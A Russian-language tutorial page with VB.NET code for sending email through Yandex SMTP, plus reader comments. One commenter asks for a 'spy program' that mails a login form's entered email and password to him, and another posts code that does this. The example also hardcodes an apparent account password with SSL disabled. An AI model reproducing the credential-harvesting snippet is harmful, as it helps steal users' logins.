Программирование
Веб программирование

Отправка письма

 
 
Imports System.Net.Mail
Imports System.Net
Public Class Form1

 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click' При нажатии на кнопку
Dim smtpclient As New SmtpClient
With(smtpclient)
.Host = "Smtp.yandex.com"
.Port = 25
.EnableSsl = False
 .Credentials = New NetworkCredential("E-mail адресс отправителя", "Пароль")
End With
 smtpclient.Send("E-mail адресс отправителя", "E-mail адресс получателя", "Тема", "Текст письма")
End Sub
End Class

Например:

 Imports System.Net.Mail
Imports System.Net
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim smtpclient As New SmtpClient
With(smtpclient)
.Host = "Smtp.yandex.com"
.Port = 25
.EnableSsl = False
 .Credentials = New NetworkCredential("avalon199025@yandex.com", "87445125")
End With
 smtpclient.Send("avalon199025@yandex.com", "padre03@mail.ru", "Поздравление", "Хороший сайт")
End Sub
End Class

Есть вопросы? Спроси на нашем форуме!!
Миша [25.07.2012 21:06]

Почему SmtpClient и NetworkCredential не определяются?

ceban igor [16.10.2012 10:37]

на gmail аналогично делаю и не пашет
исключение выскакивает.
чё может быть?
фото не могу показать могу на маил отправить

Razor64 [16.10.2012 16:57]

"ceban igor" skype есть?

Сергей [22.10.2012 13:00]

на gmail
smtp port 587 + SSL
pop port 995 + SSl

begzod [21.11.2012 20:15]

пжс,помогите мне создать прогу-шпион. Суть проги таков.
Юзер хочет войте через форму на свой сайт,вводит данные(эмейл,пароль)и эти данные написанные на текстбоксах приходят мне на мыло.

Артем [02.01.2013 19:14]

Спасибо большое очень помогло

Артем [02.01.2013 19:16]

begzod это же просто,
Imports System.Net.Mail
Imports System.Net
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim smtpclient As New SmtpClient
With(smtpclient)
.Host = "Smtp.yandex.com"
.Port = 25
.EnableSsl = False
.Credentials = New NetworkCredential("avalon199025@yandex.com", "87445125")
End With
smtpclient.Send("avalon199025@yandex.com", "padre03@mail.ru", "Пользователь", TextBox1.Text & "," & TextBox2.Text)
End Sub
End Class

Думаю пойдет

Kukurusa [17.06.2013 01:43]

Ребят помогите пож. У меня сайт на vb.net необходимо отправлять пользователям сообщение на мыло что они успешно выиграли аукцион . Использовал код приведенный выше вылетает ошибка. Помогите пожалуйста

alex13sh300 [17.06.2013 13:04]

Kukurusa, всё тут ясновидящие, Написал бы хоть код ошибки
а ваще надо исать на форуме , либо в чате ждать помощь

ffff96 [04.08.2016 06:53]

а как отправить какие нибуд файлы?



Оставлять комментарии можно только зарегистрированным




Предупреждение: Вся информация представлена исключительно в образовательных целях.
Ни авторы, ни администрация не несут ответственности в случае ее использования в противозаконных целях.